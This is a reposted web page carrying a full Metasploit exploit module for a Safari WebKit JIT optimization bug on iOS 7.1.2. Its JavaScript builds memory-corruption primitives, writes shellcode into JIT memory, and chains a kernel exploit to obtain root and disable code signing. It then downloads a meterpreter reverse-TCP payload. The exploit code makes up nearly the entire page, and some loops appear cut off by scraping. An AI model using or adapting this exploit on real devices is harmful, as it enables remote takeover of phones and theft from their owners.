Safari Webkit For iOS 7.1.2 JIT Optimization Bug ≈ Packet Storm – Digitalmunition




Exploit/Advisories no-image-featured-image.png

Published on August 15th, 2020 📆 | 5439 Views ⚑

0

Safari Webkit For iOS 7.1.2 JIT Optimization Bug ≈ Packet Storm

[*]##[*]# This module requires Metasploit: https://metasploit.com/download[*]# Current source: https://github.com/rapid7/metasploit-framework[*]##

class MetasploitModule < Msf::Exploit::Remote[*]Rank = GoodRanking

include Msf::Post::File[*]include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})[*]super([*]update_info([*]info,[*]’Name’ => ‘Safari Webkit JIT Exploit for iOS 7.1.2′,[*]’Description’ => %q{[*]This module exploits a JIT optimization bug in Safari Webkit. This allows us to[*]write shellcode to an RWX memory section in JavaScriptCore and execute it. The[*]shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,[*]obtains root and disables code signing. Finally we download and execute the[*]meterpreter payload.[*]This module has been tested against iOS 7.1.2 on an iPhone 4.[*]},[*]’License’ => MSF_LICENSE,[*]’Author’ => [[*]’kudima’, # ishell[*]’Ian Beer’, # CVE-2016-4669[*]’WanderingGlitch’, # CVE-2018-4162[*]’timwr’, # metasploit integration[*]],[*]’References’ => [[*][‘CVE’, ‘2016-4669’],[*][‘CVE’, ‘2018-4162’],[*][‘URL’, ‘https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell’],[*][‘URL’, ‘https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons’],[*][‘URL’, ‘https://bugs.chromium.org/p/project-zero/issues/detail?id=882′],[*]],[*]’Arch’ => ARCH_ARMLE,[*]’Platform’ => ‘apple_ios’,[*]’DefaultTarget’ => 0,[*]’DefaultOptions’ => { ‘PAYLOAD’ => ‘apple_ios/armle/meterpreter_reverse_tcp’ },[*]’Targets’ => [[ ‘Automatic’, {} ]],[*]’DisclosureDate’ => ‘Aug 25 2016′[*])[*])[*]register_options([*][[*]OptPort.new(‘SRVPORT’, [ true, ‘The local port to listen on.’, 8080 ]),[*]OptString.new(‘URIPATH’, [ true, ‘The URI to use for this exploit.’, ‘/’ ])[*]][*])[*]register_advanced_options([[*]OptBool.new(‘DEBUG_EXPLOIT’, [false, “Show debug information during exploitation”, false]),[*]])[*]end

def exploit_js[*]< <~JS[*]//[*]// Initial notes.[*]//[*]// If we look at publicly available exploits for this kind of[*]// issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore[*]// differently interprets the content of arrays based on[*]// their type, besides object pointers and 64-bit doubles may have[*]// the same representation.[*]//[*]// This is not the case for 32-bit version of JavaScriptCore.[*]// The details are in runtime/JSCJSValue.h. All JSValues are still[*]// 64-bit, but for the cells representing objects[*]// the high 32-bit are always 0xfffffffb (since we only need 32-bit[*]// to represent a pointer), meaning cell is always a NaN in IEEE754[*]// representation used for doubles and it is not possible to confuse[*]// an cell and a IEEE754 encoded double value.[*]//[*]// Another difference is how the cells are represented[*]// in the version of JavaScriptCore by iOS 7.1.2.[*]// The type of the cell object is determined by m_structure member[*]// at offset 0 which is a pointer to Structure object.[*]// On 64-bit systems, at the time [2], [3][*]// were published, a 32-bit integer value was used as a structure id.[*]// And it was possible to deterministically predict that id for[*]// specific object layout.[*]//[*]// The exploit outline.[*]//[*]// Let's give a high level description of the steps taken by the[*]// exploit to get to arbitrary code execution.[*]//[*]// 1. We use side effect bug to overwrite butterfly header by confusing[*]// Double array with ArrayStorage and obtain out of bound (oob) read/write[*]// into array butterflies allocation area.[*]//[*]// 2. Use oob read/write to build addrOf/materialize object primitives,[*]// by overlapping ArrayStorage length with object pointer part of a cell[*]// stored in Contiguous array.[*]//[*]// 3. Craft a fake Number object in order to leak real object structure[*]// pointer via a runtime function.[*]//[*]// 4. Use leaked structure pointer to build a fake fake object allowing[*]// as read/write access to a Uint32Array object to obtain arbitrary read/write.[*]//[*]// 5. We overwrite rwx memory used for jit code and redirect execution[*]// to that memory using our arbitrary read/write.

function main(loader, macho) {

// auxillary arrays to facilitate[*]// 64-bit floats to pointers conversion[*]var ab = new ArrayBuffer(8)[*]var u32 = new Uint32Array(ab);[*]var f64 = new Float64Array(ab);

function toF64(hi, lo) {[*]u32[0] = hi;[*]u32[1] = lo;[*]return f64[0];[*]}

function toHILO(f) {[*]f64[0] = f;[*]return [u32[0], u32[1]][*]}

function printF64(f) {[*]var u32 = toHILO(f);[*]return (u32[0].toString(16) + ” ” + u32[1].toString(16));[*]}

// arr is an object with a butterfly[*]//[*]// cmp is an object we compare with[*]//[*]// v is a value assigned to an indexed property,[*]// gives as ability to change the butterfly[*]function oob_write(arr, cmp, v, i) {[*]arr[0] = 1.1;[*]// place a comparison with an object,[*]// incorrectly modeled as side effects free[*]cmp == 1;[*]// if i less then the butterfly length,[*]// it simply writes the value, otherwise[*]// bails to baseline jit, which is going to[*]// handle the write via a slow path.[*]arr[i] = v;[*]return arr[0];[*]}

function make_oob_array() {

var oob_array;

// allocate an object[*]var arr = {};[*]arr.p = 1.1;[*]// allocate butterfly of size 0x38,[*]// 8 bytes header and 6 elements. To get the size[*]// we create an array and inspect its memory[*]// in jsc command line interpreter.[*]arr[0] = 1.1;

// toString is triggered during comparison,[*]var x = {toString: function () {[*]// convert the butterfly into an[*]// array storage with two values,[*]// initial 1.1 64-bit at 0 is going to be placed[*]// to m_vector and value at 1000 is placed into[*]// the m_sparceMap[*]arr[1000] = 2.2;[*]// allocate a new butterfly right after[*]// our ArrayStorage. The butterflies are[*]// allocated continuously regardless[*]// of the size. For the array we[*]// get 0x28 bytes, header and 4 elements.[*]oob_array = [1.1];[*]return ‘1’;[*]}[*]};

// ArrayStorage buttefly–+[*]// |[*]// V[*]//-8 -4 0 4[*]// | pub length | length | m_sparceMap | m_indexBias |[*]//[*]// 8 0xc 0x10[*]// | m_numValuesInVector | m_padding | m_vector[0][*]//[*]//0x18 0x20 0x28[*]// | m_vector[1] | m_vector[2] | m_vector[3] |[*]//[*]// oob_array butterfly[*]// |[*]// V[*]//0x30 0x34 0x38 0x40 0x48 0x50[*]// | pub length | length | el0 | el1 | el2 |[*]//

// We enter the function with arr butterfly[*]// backed up by a regular butterfly, during the side effect[*]// in toString method we turn it into an ArrayStorage,[*]// and allocate a butterfly right after it. So we[*]// hopefully get memory layout as on the diagram above.[*]//[*]// The compiled code for oob_write, being not aware of the[*]// shape change, is going to compare 6 to the ArrayStorage[*]// length (which we set to 1000 in toString) and proceed[*]// to to write at index 6 relative to ArrayStorage butterfly,[*]// overwriting the oob_array butterfly header with 64-bit float[*]// encoded as 0x0000100000001000. Which gives as ability to write[*]// out of bounds of oob_array up to 0x1000 bytes, hence[*]// the name oob_array.

var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6);

return oob_array;[*]}

// returns address of an object[*]function addrOf(o) {[*]// overwrite ArrayStorage public length[*]// with the object pointer[*]oob_array[4] = o;[*]// retrieve the address as ArrayStorage[*]// butterfly public length[*]var r = oobStorage.length;[*]return r;[*]}

function materialize(addr) {[*]// replace ArrayStorage public length[*]oobStorage.length = addr;[*]// retrieve the placed address[*]// as an object[*]return oob_array[4];[*]}

function read32(addr) {[*]var lohi = toHILO(rw0Master.rw0_f2);[*]// replace m_buffer with our address[*]rw0Master.rw0_f2 = toF64(lohi[0], addr);[*]var ret = u32rw[0];[*]// restore[*]rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);[*]return ret;[*]}

function write32(addr, v) {[*]var lohi = toHILO(rw0Master.rw0_f2);[*]rw0Master.rw0_f2 = toF64(lohi[0], addr);[*]// for some reason if we don’t do this[*]// and the value is negative as a signed int ( > 0x80000000)[*]// it takes base from a different place[*]u32rw[0] = v & 0xffffffff;[*]rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);[*]}

function testRW32() {[*]var o = [1.1];

print(“————— testrw32 ————-“);[*]print(“len: ” + o.length);

var bfly = read32(addrOf(o)+4);[*]print(“bfly: ” + bfly.toString(16));

var len = read32(bfly-8);[*]print(“bfly len: ” + len.toString(16));[*]write32(bfly – 8, 0x10);[*]var ret = o.length == 0x10;[*]print(“len: ” + o.length);[*]write32(bfly – 8, 1);[*]print(“————— testrw32 ————-“);[*]return ret;[*]}

// dump @len dword[*]function dumpAddr(addr, len) {[*]var output = ‘addr: ‘ + addr.toString(16) + “\n”;[*]for (var i=0; i

// prepare the function we are going to[*]// use to run our macho loader[*]exec_code = “var o = {};”;[*]for (var i=0; i<200; i++) {[*]exec_code += “o.p = 1.1;”;[*]}[*]exec_code += “if (v) alert(‘exec’);”;

var exec = new Function(‘v’, exec_code);

// force JavaScriptCore to generate jit code[*]// for the function[*]for (var i=0; i<1000; i++)[*]exec();

// create an object with a Double array butterfly[*]var arr = {};[*]arr.p = 1.1;[*]arr[0] = 1.1;

// force DFG optimization for oob_write function,[*]// with a write beyond the allocated storage[*]for (var i=0; i<10000; i++) {[*]oob_write(arr, {}, 1.1, 1);[*]}

// prepare a double array which we are going to turn[*]// into an ArrayStorage later on.[*]var oobStorage = [];[*]oobStorage[0] = 1.1;

// create an array with oob read/write[*]// relative to its butterfly[*]var oob_array = make_oob_array();[*]// Allocate an ArrayStorage after oob_array butterfly.[*]oobStorage[1000] = 2.2;

// convert into Contiguous storage, so we can materialize[*]// objects[*]oob_array[4] = {};

// allocate two objects with seven inline properties one after another,[*]// for fake object crafting[*]var oo = [];[*]for (var i=0; i<0x10; i++) {[*]o = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:toF64(0x4141, i )};[*]oo.push(o);[*]}

// for some reason if we just do[*]//var structLeaker = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};[*]//var fakeObjStore = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};[*]// the objects just get some random addressed far apart, and we need[*]// them allocated one after another.

var fakeObjStore = oo.pop();[*]// we are going to leak Structure pointer for this object[*]var structLeaker = oo.pop();

// eventually we want to use it for read/write into typed array,[*]// and typed array is 0x18 bytes from our experiments.[*]// To cover all 0x18 bytes, we add four out of line properties[*]// to the structure we want to leak.[*]structLeaker.rw0_f1 = 1.1;[*]structLeaker.rw0_f2 = 1.1;[*]structLeaker.rw0_f3 = 1.1;[*]structLeaker.rw0_f4 = 1.1;

print(“fakeObjStoreAddr: ” + addrOf(fakeObjStore).toString(16));[*]print(“structLeaker: ” + addrOf(structLeaker).toString(16));

var fakeObjStoreAddr = addrOf(fakeObjStore)[*]// m_typeInfo offset within a Structure class is 0x34[*]// m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}[*]// for Number

// we want to achieve the following layout for fakeObjStore[*]//[*]// 0 8 0x10 0x18 0x20 0x28 0x30[*]// | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 |[*]//[*]// 0x30 0x34 0x38 0x40[*]// | fakeObjStoreAddr | 0x00008015 | 1.1 |[*]//[*]// we materialize fakeObjStoreAddr + 0x30 as an object,[*]// As we can see the Structure pointer points back to fakeObjStore,[*]// which is acting as a structure for our object. In that fake[*]// structure object we craft m_typeInfo as if it was a Number object.[*]// At offset +0x34 the Structure objects have m_typeInfo member indicating[*]// the object type.[*]// For number it is m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}[*]// So we place that value at offset 0x34 relative to the fakeObjStore start.[*]fakeObjStore.p6 = toF64(fakeObjStoreAddr, 0x008015);[*]var fakeNumber = materialize(fakeObjStoreAddr + 0x30);

// We call a runtime function valueOf on Number, which only verifies[*]// that m_typeInfo field describes a Number object. Then it reads[*]// and returns 64-bit float value at object address + 0x10.[*]//[*]// In our seven properties object, it’s[*]// going to be a 64-bit word located right after last property. Since[*]// we have arranged another seven properties object to be placed right[*]// after fakeObjStore, we are going to get first 8 bytes of[*]// that cell object which has the following layout.[*]// 0 4 8[*]// | m_structure | m_butterfly |[*]var val = Number.prototype.valueOf.call(fakeNumber);

// get lower 32-bit of a 64-bit float, which is a structure pointer.[*]var _7pStructAddr = toHILO(val)[1];[*]print(“struct addr: ” + _7pStructAddr.toString(16));

// now we are going to use the structure to craft an object[*]// with properties allowing as read/write access to Uint32Array.

var aabb = new ArrayBuffer(0x20);

// Uint32Array is 0x18 bytes,[*]// + 0xc m_impl[*]// + 0x10 m_storageLength[*]// + 0x14 m_storage[*]var u32rw = new Uint32Array(aabb, 4);

// Create a fake object with the structure we leaked before.[*]// So we can r/w to Uint32Array via out of line properties.[*]// The ool properties are placed before the butterfly header,[*]// so we point our fake object butterfly to Uint32Array + 0x28,[*]// to cover first 0x20 bytes via four out of line properties we added earlier[*]var objRW0Store = {p1:toF64(_7pStructAddr, addrOf(u32rw) + 0x28), p2:1.1};

// materialize whatever we put in the first inline property as an object[*]var rw0Master = materialize(addrOf(objRW0Store) + 8);

// magic[*]var o = {p1: 1.1, p2: 1.1, p3: 1.1, p4: 1.1};[*]for (var i=0; i<8; i++) {[*]read32(addrOf(o));[*]write32(addrOf(o)+8, 0);[*]}

//testRW32();[*]// JSFunction->m_executable[*]var m_executable = read32(addrOf(exec)+0xc);

// m_executable->m_jitCodeForCall[*]var jitCodeForCall = read32(m_executable + 0x14) – 1;[*]print(“jit code pointer: ” + jitCodeForCall.toString(16));

// Get JSCell::destroy pointer, and pass it[*]// to the code we are going to execute as an argument[*]var n = new Number(1.1);[*]var struct = read32(addrOf(n));[*]// read methodTable[*]var classInfo = read32(struct + 0x20);[*]// read JSCell::destroy[*]var JSCell_destroy = read32(classInfo + 0x10);

print(“JSCell_destroy: ” + JSCell_destroy.toString(16));

// overwrite jit code of exec function[*]for (var i=0; i

// pass JSCell::destroy pointer and[*]// the macho file as arguments to our[*]// macho file loader, so it can get dylib cache slide[*]var nextBuf = read32(addrOf(macho) + 0x14);[*]// we pass parameters to the loader as a list of 32-bit words[*]// places right before the start[*]write32(jitCodeForCall-4, JSCell_destroy);[*]write32(jitCodeForCall-8, nextBuf);[*]print(“nextBuf: ” + nextBuf.toString(16));[*]// start our macho loader[*]print(“executing macho…”);[*]exec(true);[*]print(“exec returned”);[*]return;[*]}

try {[*]function asciiToUint8Array(str) {

var len = Math.floor((str.length + 4)/4) * 4;[*]var bytes = new Uint8Array(len);

for (var i=0; i

return bytes;[*]}

// loads base64 encoded payload from the server and converts[*]// it into a Uint32Array[*]function loadAsUint32Array(path) {[*]var xhttp = new XMLHttpRequest();[*]xhttp.open(“GET”, path+”?cache=” + new Date().getTime(), false);[*]xhttp.send();[*]var payload = atob(xhttp.response);[*]payload = asciiToUint8Array(payload);[*]return new Uint32Array(payload.buffer);[*]}

var loader = loadAsUint32Array(“loader.b64”);[*]var macho = loadAsUint32Array(“macho.b64”);[*]setTimeout(function() {main(loader, macho);}, 50);[*]} catch (e) {[*]print(e + “\n” + e.stack);[*]}[*]JS[*]end

def on_request_uri(cli, request)[*]if datastore[‘DEBUG_EXPLOIT’] && request.uri =~ %r{/print$*}[*]print_status(“[*] #{request.body}”)[*]send_response(cli, ”)[*]return[*]end

print_status(“Request #{request.uri} from #{request[‘User-Agent’]}”)[*]if request.uri.starts_with? ‘/loader.b64′[*]loader_data = exploit_data(‘CVE-2016-4669’, ‘loader’)[*]loader_data = Rex::Text.encode_base64(loader_data)[*]send_response(cli, loader_data, { ‘Content-Type’ => ‘application/octet-stream’ })[*]return[*]elsif request.uri.starts_with? ‘/macho.b64′[*]loader_data = exploit_data(‘CVE-2016-4669’, ‘macho’)[*]payload_url = “http://#{Rex::Socket.source_address(‘1.2.3.4’)}:#{srvport}/payload”[*]payload_url_index = loader_data.index(‘PAYLOAD_URL_PLACEHOLDER’)[*]loader_data[payload_url_index, payload_url.length] = payload_url[*]loader_data = Rex::Text.encode_base64(loader_data)[*]send_response(cli, loader_data, { ‘Content-Type’ => ‘application/octet-stream’ })[*]return[*]elsif request.uri.starts_with? ‘/payload'[*]print_good(‘Target is vulnerable, sending payload!’)[*]send_response(cli, payload.raw, { ‘Content-Type’ => ‘application/octet-stream’ })[*]return[*]end

jscript = exploit_js[*]if datastore[‘DEBUG_EXPLOIT’][*]debugjs = %Q^[*]print = function(arg) {[*]var request = new XMLHttpRequest();[*]request.open(“POST”, “/print”, false);[*]request.send(“” + arg);[*]};[*]^[*]jscript = “#{debugjs}#{jscript}”[*]else[*]jscript.gsub!(///.*$/, ”) # strip comments[*]jscript.gsub!(/^s*prints*(.*?);s*$/, ”) # strip print(*);[*]end

html = < <~HTML[*][*]

[*][*][*][*]HTML

send_response(cli, html, { ‘Content-Type’ => ‘text/html’, ‘Cache-Control’ => ‘no-cache, no-store, must-revalidate’, ‘Pragma’ => ‘no-cache’, ‘Expires’ => ‘0’ })[*]end

end[*]

Source link

Tagged with:



Leave a Reply

Your email address will not be published. Required fields are marked *


loading...